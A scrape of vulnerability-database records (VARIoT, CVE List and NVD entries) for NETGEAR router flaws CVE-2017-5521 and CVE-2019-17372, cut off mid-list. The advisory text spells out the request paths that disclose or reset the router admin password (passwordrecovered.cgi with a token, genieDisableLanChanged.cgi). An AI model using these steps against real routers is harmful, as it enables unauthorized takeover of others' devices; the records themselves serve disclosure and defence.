"url": "https://www.exploit-db.com/exploits/41205/"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-5521"
},
{
"trust": 0.6,
"url": "http://www.securityfocus.com/bid/95457/"
},
{
"trust": 0.3,
"url": "http://www.netgear.com"
},
{
"trust": 0.2,
"url": "https://\u0027"
},
{
"trust": 0.1,
"url": "https://cwe.mitre.org/data/definitions/200.html"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov"
},
{
"trust": 0.1,
"url": "https://www.rapid7.com/db/modules/auxiliary/gather/netgear_password_disclosure"
},
{
"trust": 0.1,
"url": "http://router/passwordrecovered.cgi?id=trustwave_spiderlabs"
},
{
"trust": 0.1,
"url": "https://www.trustwave.com"
},
{
"trust": 0.1,
"url": "http://router/.../"
},
{
"trust": 0.1,
"url": "https://www.trustwave.com/spiderlabs"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2017-5521"
},
{
"trust": 0.1,
"url": "http://c1ph04text.blogspot.com/2014/01/mitrm-attacks-your-middle-or-mine.html"
},
{
"trust": 0.1,
"url": "https://www.exploit-db.com/exploits/32883/"
},
{
"trust": 0.1,
"url": "http://router/..../unauth.cgi?id=token"
},
{
"trust": 0.1,
"url": "http://router/passwordrecovered.cgi?id=token"
},
{
"trust": 0.1,
"url": "http://www.netgear.com/)"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"db": "VULHUB",
"id": "VHN-113724"
},
{
"db": "VULMON",
"id": "CVE-2017-5521"
},
{
"db": "BID",
"id": "95457"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"db": "PACKETSTORM",
"id": "140844"
},
{
"db": "NVD",
"id": "CVE-2017-5521"
},
{
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"db": "VULHUB",
"id": "VHN-113724"
},
{
"db": "VULMON",
"id": "CVE-2017-5521"
},
{
"db": "BID",
"id": "95457"
},
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"db": "PACKETSTORM",
"id": "140844"
},
{
"db": "NVD",
"id": "CVE-2017-5521"
},
{
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-02-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"date": "2017-01-17T00:00:00",
"db": "VULHUB",
"id": "VHN-113724"
},
{
"date": "2017-01-17T00:00:00",
"db": "VULMON",
"id": "CVE-2017-5521"
},
{
"date": "2017-01-16T00:00:00",
"db": "BID",
"id": "95457"
},
{
"date": "2017-02-03T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"date": "2017-01-31T17:02:22",
"db": "PACKETSTORM",
"id": "140844"
},
{
"date": "2017-01-17T09:59:00.333000",
"db": "NVD",
"id": "CVE-2017-5521"
},
{
"date": "2017-01-18T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2017-02-04T00:00:00",
"db": "CNVD",
"id": "CNVD-2017-00835"
},
{
"date": "2017-09-01T00:00:00",
"db": "VULHUB",
"id": "VHN-113724"
},
{
"date": "2017-09-01T00:00:00",
"db": "VULMON",
"id": "CVE-2017-5521"
},
{
"date": "2017-01-23T03:09:00",
"db": "BID",
"id": "95457"
},
{
"date": "2017-02-03T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2017-001263"
},
{
"date": "2017-09-01T01:29:35.680000",
"db": "NVD",
"id": "CVE-2017-5521"
},
{
"date": "2017-01-18T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "plural NETGEAR Device product password disclosure vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-001263"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "information disclosure",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201701-454"
}
],
"trust": 0.6
}
}
cve-2019-17372
Vulnerability from cvelistv5
Published
2019-10-09 12:06
Modified
2024-08-05 01:40
Severity ?
EPSS score ?
Summary
Certain NETGEAR devices allow remote attackers to disable all authentication requirements by visiting genieDisableLanChanged.cgi. The attacker can then, for example, visit MNU_accessPassword_recovered.html to obtain a valid new admin password. This affects AC1450, D8500, DC112A, JNDR3000, LG2200D, R4500, R6200, R6200V2, R6250, R6300, R6300v2, R6400, R6700, R6900P, R6900, R7000P, R7000, R7100LG, R7300, R7900, R8000, R8300, R8500, WGR614v10, WN2500RPv2, WNDR3400v2, WNDR3700v3, WNDR4000, WNDR4500, WNDR4500v2, WNR1000, WNR1000v3, WNR3500L, and WNR3500L.
References
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T01:40:15.201Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/zer0yu/CVE_Request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "Certain NETGEAR devices allow remote attackers to disable all authentication requirements by visiting genieDisableLanChanged.cgi. The attacker can then, for example, visit MNU_accessPassword_recovered.html to obtain a valid new admin password. This affects AC1450, D8500, DC112A, JNDR3000, LG2200D, R4500, R6200, R6200V2, R6250, R6300, R6300v2, R6400, R6700, R6900P, R6900, R7000P, R7000, R7100LG, R7300, R7900, R8000, R8300, R8500, WGR614v10, WN2500RPv2, WNDR3400v2, WNDR3700v3, WNDR4000, WNDR4500, WNDR4500v2, WNR1000, WNR1000v3, WNR3500L, and WNR3500L."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-10-09T12:06:57",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/zer0yu/CVE_Request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2019-17372",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "Certain NETGEAR devices allow remote attackers to disable all authentication requirements by visiting genieDisableLanChanged.cgi. The attacker can then, for example, visit MNU_accessPassword_recovered.html to obtain a valid new admin password. This affects AC1450, D8500, DC112A, JNDR3000, LG2200D, R4500, R6200, R6200V2, R6250, R6300, R6300v2, R6400, R6700, R6900P, R6900, R7000P, R7000, R7100LG, R7300, R7900, R8000, R8300, R8500, WGR614v10, WN2500RPv2, WNDR3400v2, WNDR3700v3, WNDR4000, WNDR4500, WNDR4500v2, WNR1000, WNR1000v3, WNR3500L, and WNR3500L."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "https://github.com/zer0yu/CVE_Request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md",
"refsource": "MISC",
"url": "https://github.com/zer0yu/CVE_Request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2019-17372",
"datePublished": "2019-10-09T12:06:57",
"dateReserved": "2019-10-09T00:00:00",
"dateUpdated": "2024-08-05T01:40:15.201Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-5521
Vulnerability from cvelistv5
Published
2017-01-17 09:22
Modified
2024-08-05 15:04
Severity ?
EPSS score ?
Summary
An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions.
References
| ▼ | URL | Tags |
|---|---|---|
| https://www.exploit-db.com/exploits/41205/ | exploit, x_refsource_EXPLOIT-DB | |
| http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability | x_refsource_CONFIRM | |
| http://www.securityfocus.com/bid/95457 | vdb-entry, x_refsource_BID |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T15:04:14.997Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "41205",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB",
"x_transferred"
],
"url": "https://www.exploit-db.com/exploits/41205/"
},
{
"tags": [
"x_refsource_CONFIRM",
"x_transferred"
],
"url": "http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability"
},
{
"name": "95457",
"tags": [
"vdb-entry",
"x_refsource_BID",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/95457"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2017-01-17T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2017-08-31T09:57:01",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "41205",
"tags": [
"exploit",
"x_refsource_EXPLOIT-DB"
],
"url": "https://www.exploit-db.com/exploits/41205/"
},
{
"tags": [
"x_refsource_CONFIRM"
],
"url": "http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability"
},
{
"name": "95457",
"tags": [
"vdb-entry",
"x_refsource_BID"
],
"url": "http://www.securityfocus.com/bid/95457"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-5521",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on NETGEAR R8500, R8300, R7000, R6400, R7300, R7100LG, R6300v2, WNDR3400v3, WNR3500Lv2, R6250, R6700, R6900, and R8000 devices. They are prone to password disclosure via simple crafted requests to the web management server. The bug is exploitable remotely if the remote management option is set, and can also be exploited given access to the router over LAN or WLAN. When trying to access the web panel, a user is asked to authenticate; if the authentication is canceled and password recovery is not enabled, the user is redirected to a page that exposes a password recovery token. If a user supplies the correct token to the page /passwordrecovered.cgi?id=TOKEN (and password recovery is not enabled), they will receive the admin password for the router. If password recovery is set the exploit will fail, as it will ask the user for the recovery questions that were previously set when enabling that feature. This is persistent (even after disabling the recovery option, the exploit will fail) because the router will ask for the security questions."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "41205",
"refsource": "EXPLOIT-DB",
"url": "https://www.exploit-db.com/exploits/41205/"
},
{
"name": "http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability",
"refsource": "CONFIRM",
"url": "http://kb.netgear.com/30632/Web-GUI-Password-Recovery-and-Exposure-Security-Vulnerability"
},
{
"name": "95457",
"refsource": "BID",
"url": "http://www.securityfocus.com/bid/95457"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-5521",
"datePublished": "2017-01-17T09:22:00",
"dateReserved": "2017-01-17T00:00:00",
"dateUpdated": "2024-08-05T15:04:14.997Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
Vulnerability from fkie_nvd
Published
2019-10-09 13:15
Modified
2024-11-21 04:32
Severity ?
Summary
Certain NETGEAR devices allow remote attackers to disable all authentication requirements by visiting genieDisableLanChanged.cgi. The attacker can then, for example, visit MNU_accessPassword_recovered.html to obtain a valid new admin password. This affects AC1450, D8500, DC112A, JNDR3000, LG2200D, R4500, R6200, R6200V2, R6250, R6300, R6300v2, R6400, R6700, R6900P, R6900, R7000P, R7000, R7100LG, R7300, R7900, R8000, R8300, R8500, WGR614v10, WN2500RPv2, WNDR3400v2, WNDR3700v3, WNDR4000, WNDR4500, WNDR4500v2, WNR1000, WNR1000v3, WNR3500L, and WNR3500L.
References
| ▼ | URL | Tags | |
|---|---|---|---|
| cve@mitre.org | https://github.com/zer0yu/CVE_Request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md | Exploit, Third Party Advisory | |
| af854a3a-2127-422b-91ae-364da2661108 | https://github.com/zer0yu/CVE_Request/blob/master/netgear/netgear_cgi_unauthorized_access_vulnerability.md | Exploit, Third Party Advisory |
Impacted products
{
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:ac1450_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "3AE717E0-B9A2-4A3F-843C-D9A1AEF8D024",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:ac1450:-:*:*:*:*:*:*:*",
"matchCriteriaId": "E4BA18B2-8234-4C26-B865-741D467C5EBE",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:d8500_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "E41AF1C1-1F19-4115-AFCD-532FBEA8E3EC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:d8500:-:*:*:*:*:*:*:*",
"matchCriteriaId": "814A0114-9A1D-4EA0-9AF4-6968514E4F01",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:dc112a_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C5C9E5B5-8E65-4593-9F95-92D5C177489D",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:dc112a:-:*:*:*:*:*:*:*",
"matchCriteriaId": "F87FFC46-137D-45B8-B437-F15565FB33D0",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:jndr3000_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "F8B781F1-A82B-4D4B-AEF6-BDBEEE6D6DFF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:jndr3000:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5DEEEEE5-0798-450E-BF9D-B17A15235C80",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:lg2200d_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8D4C2805-BDCA-4ECA-9E4F-B802AECC3E88",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:lg2200d:-:*:*:*:*:*:*:*",
"matchCriteriaId": "410EAA8C-48DF-4B61-875A-8F51048E19B4",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r4500_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5C461751-BF10-4441-9A2F-10AF054072FB",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r4500:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7FCCD5B9-03F9-42CF-B7A5-27A7239FEDB6",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6200_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "58FBF5B0-466A-4D88-941C-F0DDFC87F4BE",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6200:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8A466B29-3ADA-46D9-824C-8DF9160B7DD7",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6200v2_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "B7D512D3-2F48-442A-97F8-DA43A22DD010",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6200v2:-:*:*:*:*:*:*:*",
"matchCriteriaId": "B5694D19-2577-41B3-87B8-2B50868EA946",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6250_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "1ED72E5B-9DCF-4A20-8BF1-810BCD9383E5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6250:-:*:*:*:*:*:*:*",
"matchCriteriaId": "321BE843-52C4-4638-A321-439CA7B3A6F2",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6300_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8E9E9091-E6F8-4BE5-8B31-6682B2C2CE95",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6300:-:*:*:*:*:*:*:*",
"matchCriteriaId": "9597966A-B13C-4098-838B-EC9AA8DE443D",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6300v2_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "2EC1E8B7-43FB-46B3-9329-70F2E31292D1",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6300v2:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7909744D-FE9B-49D1-ADB3-029CCC432A47",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6400_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "08F1474F-34C8-4A04-ABB6-ED3D57A67566",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6400:-:*:*:*:*:*:*:*",
"matchCriteriaId": "3E4CDF6B-3829-44D0-9675-71D7BE83CAA2",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6700_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "766E6051-787B-414E-BF8B-9663686203AF",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6700:-:*:*:*:*:*:*:*",
"matchCriteriaId": "21B27F11-4262-4CE1-8107-B365A7C152F2",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6900p_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "FC4BCACA-BA08-4595-B829-C3D68EC0F353",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6900p:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C41908FF-AE64-4949-80E3-BEE061B2DA8A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r6900_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "8041FCF6-A8DB-494E-8542-80FC3BAB22FC",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r6900:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0794BB7C-1BCF-4F08-8EB2-9C3B150C105A",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r7000p_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "18FFC1CE-3238-4E4E-9283-D95C142EEC7B",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r7000p:-:*:*:*:*:*:*:*",
"matchCriteriaId": "DFE55F4D-E98B-46D3-B870-041141934CD1",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r7000_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "EDCA79CB-4006-4F08-83DC-3B72A02E2511",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r7000:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C9F86FF6-AB32-4E51-856A-DDE790C0A9A6",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r7100lg_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "79B9CF4B-F6F0-4BCF-BC30-09A4D0C3E8A6",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r7100lg:-:*:*:*:*:*:*:*",
"matchCriteriaId": "366FA778-3C2A-42AF-9141-DAD7043B406C",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r7300_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "0A483635-B300-4D6A-9E1A-CD776A55D48F",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r7300:-:*:*:*:*:*:*:*",
"matchCriteriaId": "29B13F94-F151-4F00-95C3-D9FB22B3CC2B",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r7900_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7359F6C9-A987-4E51-89C1-81A100CEA4D8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r7900:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C484840F-AF30-4B5C-821A-4DB9BE407BDB",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r8000_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "4DE7D9C1-33AA-489D-8A66-E6C456D38929",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r8000:-:*:*:*:*:*:*:*",
"matchCriteriaId": "5B39F095-8FE8-43FD-A866-7B613B495984",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r8300_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "951636C7-B531-4395-A89A-DEAA6AE2093F",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r8300:-:*:*:*:*:*:*:*",
"matchCriteriaId": "7A9B77E7-7439-48C6-989F-5E22CB4D3044",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:r8500_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "CF07E3BB-5FDE-4C79-A893-E6111AED30A5",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:r8500:-:*:*:*:*:*:*:*",
"matchCriteriaId": "63500DE4-BDBD-4F86-AB99-7DB084D0B912",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wgr614v10_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "27BF75F1-13E5-497C-A606-805585BA2CAA",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wgr614v10:-:*:*:*:*:*:*:*",
"matchCriteriaId": "6069BE1B-C458-4E51-B704-071BB932F290",
"vulnerable": false
}
],
"negate": false,
"operator": "OR"
}
],
"operator": "AND"
},
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:o:netgear:wn2500rpv2_firmware:-:*:*:*:*:*:*:*",
"matchCriteriaId": "110E1E63-3225-4692-98C4-34FF145548D8",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
},
{
"cpeMatch": [
{
"criteria": "cpe:2.3:h:netgear:wn2500rpv2:-:*:*:*:*:*:*:*",
